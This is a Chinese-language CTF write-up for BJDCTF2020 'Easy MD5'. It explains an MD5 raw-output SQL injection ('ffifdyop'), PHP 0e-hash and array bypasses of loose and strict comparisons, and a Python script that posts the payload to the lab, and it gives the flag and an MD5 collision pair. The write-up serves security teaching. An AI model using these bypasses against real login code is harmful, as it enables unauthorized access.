Easy MD5——[BJDCTF2020]的解题思路是什么?

摘要:0.总结 这道题一共有三关,第一关是MD5原始值注入(MD5 Raw Injection) ,第二关是一个弱类型比较,第三关是强比较的绕过。 ** **第一个payload password=ffifdyop 第二个payload (0e哈
0.总结 这道题一共有三关,第一关是MD5原始值注入(MD5 Raw Injection) ,第二关是一个弱类型比较,第三关是强比较的绕过。 ** **第一个payload password=ffifdyop 第二个payload (0e哈希绕过/数组绕过) ?a=240610708&b=QNKCDZO 或者是 ?a[]=1b[]=2 第三个paylaod(数组绕过) param1[]=anything&param2[]=something_else 1.第一关 ok,进入第一关,打开靶场之后,可以看到有一个提交表单,f12查看源代码处可以发现一点有关的东西 <section> <form class="upload" action="leveldo4.php" method="GET"> <input type="text" id="name" name='password' class="in"> <input type="submit" class="give"> </form> </section> 这里显示在用get方式向leveldo4.php提交一个password参数名,后续在http响应包里的请求头中发现出题人给的hint提示头 这里可以看到后端语句确实是sql select * from 'admin' where password=md5($pass,true) 他把pass参数进行了md5加密,我们输入的password密码md5要等于存储在数据库的真实密码的md5值,显然其实不太容易,但是这里使用md5($pass, true)这样的方式,这就会造成安全隐患。 md5()是 PHP 里的一个哈希函数,用于:把任意字符串 → 转成一个固定长度的“摘要值”(hash)。 md5(string $str, bool $binary = false) //$str 要加密的字符串 //$binary 是否返回原始二进制 1.默认是flase md5("admin") 返回:21232f297a57a5a743894a0e4a801fc3 特点: 32位 十六进制字符串 可见、可打印 2.开始true md5("admin", true) 返回16字节二进制数据(不可见) 特点: 含乱码(不可打印字符) 可能包含 '、\0、or 等 可以触发sql注入 回到题目,当原始语句是select * from 'admin' where password=md5($pass,true)的时候,如果我们输入的字符串,在md5(raw),前面的字符为'or'...,就会直接触发sql注入。 原本情况 select * from admin where password='正常hash' 构造?password=ffifdyop注入之后变成类似,从而实现绕过 select * from admin where password='' or '1'='1' payload:?password=ffifdyop 注:它md5里包含'or'6... 2.第二关 第二个是弱类型比较绕过(数组绕过/ 利用0e哈希绕过 ) 我们构造了第一个payload之后,执行之后跳转到了levels91.php,并且提示do you like md5?,首先看源码,发现了他给的提示源码部分, <!-- $a = $GET['a']; $b = $_GET['b']; if($a != $b && md5($a) == md5($b)){ // wow, glzjin wants a girl friend. --> 我们可以看到,levels91.php接收get型参数a,接收get型参数b,然后想要进入if循环,需要实现$a!=$b以及md5($a) == md5($b),满足这两个条件就可以实现绕过。 这里的比较,使用的php弱比较,也就是说,这里可以使用数组绕过,使用数组的方式,让md5函数对数组的输入会报错且返回为null,实现绕过,例如?a[]=1&b[]=2 md5(array) → NULL NULL === NULL → true 原理测试如下 <?php // ============== 测试:直接对数组用 md5() ============== echo "=== 直接传入数组 ===\n"; $testArr = ['username' => 'zhangsan', 'password' => '123456']; $wrongResult = md5($testArr); // 打印结果和类型,看是否为 null var_dump($wrongResult); echo "类型:" . gettype($wrongResult) . "\n\n"; php> 第二个payload是利用0e哈希开头在弱比较中会被php解读为科学计数法的数值进行比较,所以只要构造不同的字符串,但是他们的md5哈希之后都是以0e开头就行,在弱比较的时候,php会自动把他们当做数值比较,最后结果都为0,导致判断相等,实现绕过。 payload:?a=240610708&b=QNKCDZO md5("240610708") = 0e462097431906509019562988736854 md5("QNKCDZO") = 0e830400451993494058024219903391 //0 == 0 成立 原理测试如下: <?php $a = "240610708"; $b = "QNKCDZO"; // 分别打印两个字符串的MD5值 echo "md5('{$a}') = " . md5($a) . "\n"; echo "md5('{$b}') = " . md5($b) . "\n\n"; // 测试 == 比较 if(md5($a) == md5($b)){ echo "使用 == 比较:success\n"; } else { echo "使用 == 比较:fail\n"; } // 测试 === 严格比较(推荐) if(md5($a) === md5($b)){ echo "使用 === 严格比较:success\n"; } else { echo "使用 === 严格比较:fail\n"; } ?> 测试结果: 两个payload都可行, ?a[]=1&b[]=2 ?a=240610708&b=QNKCDZO 3.第三关(强比较绕过--数组/MD5碰撞) 第二关的payload打了之后,就直接来到levell14.php了,给到代码如下: <?php error_reporting(0); include "flag.php"; highlight_file(__FILE__); if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){ echo $flag; } 对于强比较,这里还是可以使用数组绕过,因为他的这道题本身考法就是md5这个函数对数组的处理结果,payload:param1[]=anything&param2[]=something_else,原理同上,注意这里是post提交了,可以用burp或者hackber,也可以直接用python发包 import requests # 目标 URL url = "http://851423bc-ca63-4e75-95af-0e0f4c91ea1b.node5.buuoj.cn:81/levell14.php" # 核心 Payload:使用数组 # PHP 的 md5() 函数处理数组会返回 NULL,两个 NULL 是强相等 (===) 的 data = { "param1[]": "anything", # 只要是数组就行,值无所谓 "param2[]": "something_else" } response = requests.post(url, data=data) # 打印结果 print(response.text) 拿到flag flag{181b34e3-e8cb-4dbc-b877-bd50bf5c1ab7} 题外话,由于这里使用的是!== 和=== 这样的强比较,哈希解法的话,不知道这里能不能用哈希碰撞,让两个不同字符串,但是他们的md5值一样实现绕过,我暂时没有找到字符串的例子,如果后面找到了补上,但是是有16进制的字符串的例子的。 import hashlib -------------------------- 两个不同的二进制序列(十六进制表示) -------------------------- hex_sequence_a = """d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f89 55ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5b d8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0 e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70""" hex_sequence_b = """d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f89 55ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5b d8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0 e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70""" -------------------------- 1. 处理数据:去除换行并转为字节 -------------------------- data_a = bytes.fromhex(hex_sequence_a.replace("\n", "")) data_b = bytes.fromhex(hex_sequence_b.replace("\n", "")) -------------------------- 2. 计算MD5哈希值 -------------------------- md5_a = hashlib.md5(data_a).hexdigest() md5_b = hashlib.md5(data_b).hexdigest() -------------------------- 3. 输出验证结果 -------------------------- print("=" * 50) print(f"数据 A 和数据 B 是否相同? {data_a == data_b}") # 会输出 False print("-" * 50) print(f"数据 A 的 MD5: {md5_a}") print(f"数据 B 的 MD5: {md5_b}") print("-" * 50) print(f"MD5 值是否相同? {md5_a == md5_b}") # 会输出 True print("=" * 50)